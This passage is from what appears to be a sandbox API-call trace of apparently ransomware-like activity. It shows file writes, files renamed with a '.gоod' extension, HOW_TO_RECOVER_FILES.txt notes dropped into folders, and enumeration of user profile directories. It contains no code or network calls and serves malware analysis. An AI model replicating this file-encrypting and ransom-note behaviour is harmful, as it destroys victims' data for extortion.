(hObject=0x640) returned 1 [0131.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0131.661] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0131.661] GetFileType (hFile=0x618) returned 0x1 [0131.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0131.662] GetFileType (hFile=0x618) returned 0x1 [0131.662] WriteFile (in: hFile=0x618, lpBuffer=0x3841218*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x1f6edb38, lpOverlapped=0x0 | out: lpBuffer=0x3841218*, lpNumberOfBytesWritten=0x1f6edb38*=0x480, lpOverlapped=0x0) returned 1 [0131.662] CloseHandle (hObject=0x618) returned 1 [0131.663] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico", lpFilePart=0x0) returned 0x2f [0131.663] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.gоod", lpFilePart=0x0) returned 0x34 [0131.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0131.663] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x4aafbf08, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x480)) returned 1 [0131.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0131.663] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.gоod" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.gоod")) returned 1 [0131.663] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\warn.ico", lpFilePart=0x0) returned 0x27 [0131.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0131.664] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), fInfoLevelId=0x0, lpFileInformation=0x3842428 | out: lpFileInformation=0x3842428*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796)) returned 1 [0131.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0131.664] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\warn.ico", lpFilePart=0x0) returned 0x27 [0131.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0131.664] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0131.664] GetFileType (hFile=0x618) returned 0x1 [0131.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0131.664] GetFileType (hFile=0x618) returned 0x1 [0132.136] SetFilePointer (in: hFile=0x618, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0132.136] ReadFile (in: hFile=0x618, lpBuffer=0x37bc930, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x37bc930*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0132.173] CloseHandle (hObject=0x618) returned 1 [0132.262] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\warn.ico", lpFilePart=0x0) returned 0x27 [0132.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0132.263] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0132.264] GetFileType (hFile=0x640) returned 0x1 [0132.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0132.264] GetFileType (hFile=0x640) returned 0x1 [0132.265] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x2796 [0132.265] WriteFile (in: hFile=0x640, lpBuffer=0x3672110*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x3672110*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0132.267] CloseHandle (hObject=0x640) returned 1 [0132.267] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\warn.ico", lpFilePart=0x0) returned 0x27 [0132.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0132.267] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0132.267] GetFileType (hFile=0x640) returned 0x1 [0132.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0132.267] GetFileType (hFile=0x640) returned 0x1 [0132.267] ReadFile (in: hFile=0x640, lpBuffer=0x36766f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x36766f8*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0132.330] CloseHandle (hObject=0x640) returned 1 [0132.330] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\warn.ico", lpFilePart=0x0) returned 0x27 [0132.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0132.330] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0132.330] GetFileType (hFile=0x640) returned 0x1 [0132.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0132.330] GetFileType (hFile=0x640) returned 0x1 [0132.330] WriteFile (in: hFile=0x640, lpBuffer=0x3675498*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x3675498*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0132.330] CloseHandle (hObject=0x640) returned 1 [0132.331] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\warn.ico", lpFilePart=0x0) returned 0x27 [0132.331] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\warn.ico.gоod", lpFilePart=0x0) returned 0x2c [0132.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0132.331] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x4b1643e0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x27a6)) returned 1 [0132.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0132.331] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.gоod" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.gоod")) returned 1 [0132.331] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x37 [0132.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0132.331] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\588bce7c90097ed212\\graphics\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x640 [0132.332] GetFileType (hFile=0x640) returned 0x1 [0132.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0132.332] GetFileType (hFile=0x640) returned 0x1 [0132.332] WriteFile (in: hFile=0x640, lpBuffer=0x37714c0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x37714c0*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0132.333] CloseHandle (hObject=0x640) returned 1 [0132.333] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ee370, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x2e [0132.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee890) returned 1 [0132.333] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\588bce7c90097ed212\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x640 [0132.334] GetFileType (hFile=0x640) returned 0x1 [0132.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee800) returned 1 [0132.334] GetFileType (hFile=0x640) returned 0x1 [0132.334] WriteFile (in: hFile=0x640, lpBuffer=0x3774c80*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6ee958, lpOverlapped=0x0 | out: lpBuffer=0x3774c80*, lpNumberOfBytesWritten=0x1f6ee958*=0x5d0, lpOverlapped=0x0) returned 1 [0132.335] CloseHandle (hObject=0x640) returned 1 [0132.632] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee920) returned 1 [0132.632] GetFullPathNameW (in: lpFileName="C:\\Users\\Default.migrated", nBufferLength=0x105, lpBuffer=0x1f6ee3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default.migrated", lpFilePart=0x0) returned 0x19 [0132.632] FindFirstFileW (in: lpFileName="C:\\Users\\Default.migrated\\*", lpFindFileData=0x1f6ee640 | out: lpFindFileData=0x1f6ee640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xc40864ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0132.634] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xc40864ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.635] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7205420a, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0132.635] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4204fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5636bd87, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0132.635] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4204fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5636bd87, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 0 [0132.635] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0132.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee860) returned 1 [0132.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee820) returned 1 [0132.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee920) returned 1 [0132.636] GetFullPathNameW (in: lpFileName="C:\\Users\\Default.migrated", nBufferLength=0x105, lpBuffer=0x1f6ee3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default.migrated", lpFilePart=0x0) returned 0x19 [0132.636] FindFirstFileW (in: lpFileName="C:\\Users\\Default.migrated\\*", lpFindFileData=0x1f6ee640 | out: lpFindFileData=0x1f6ee640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xc40864ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0132.637] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xc40864ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.637] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7205420a, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0132.637] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4204fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5636bd87, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0132.637] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0132.637] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0132.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee860) returned 1 [0132.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee820) returned 1 [0132.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0132.638] GetFullPathNameW (in: lpFileName="C:\\Users\\Default.migrated\\AppData", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default.migrated\\AppData", lpFilePart=0x0) returned 0x21 [0132.638] FindFirstFileW (in: lpFileName="C:\\Users\\Default.migrated\\AppData\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7205420a, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0132.639] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7205420a, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.639] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7202dfa5, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7202dfa5, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0132.639] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7202dfa5, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7202dfa5, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 0 [0132.640] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0132.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0132.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0132.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0132.640] GetFullPathNameW (in: lpFileName="C:\\Users\\Default.migrated\\AppData", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default.migrated\\AppData", lpFilePart=0x0) returned 0x21 [0132.640] FindFirstFileW (in: lpFileName="C:\\Users\\Default.migrated\\AppData\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7205420a, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0132.640] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7205420a, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.640] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7202dfa5, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7202dfa5, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0132.640] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0132.640] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0132.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0132.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0132.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ed4c0) returned 1 [0132.641] GetFullPathNameW (in: lpFileName="C:\\Users\\Default.migrated\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x1f6ecf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default.migrated\\AppData\\Local", lpFilePart=0x0) returned 0x27 [0132.641] FindFirstFileW (in: lpFileName="C:\\Users\\Default.migrated\\AppData\\Local\\*", lpFindFileData=0x1f6ed1e0 | out: lpFindFileData=0x1f6ed1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7202dfa5, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7202dfa5, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0132.641] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7202dfa5, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7202dfa5, ftLastWriteTime.dwHighDateTime=0x1d32720, 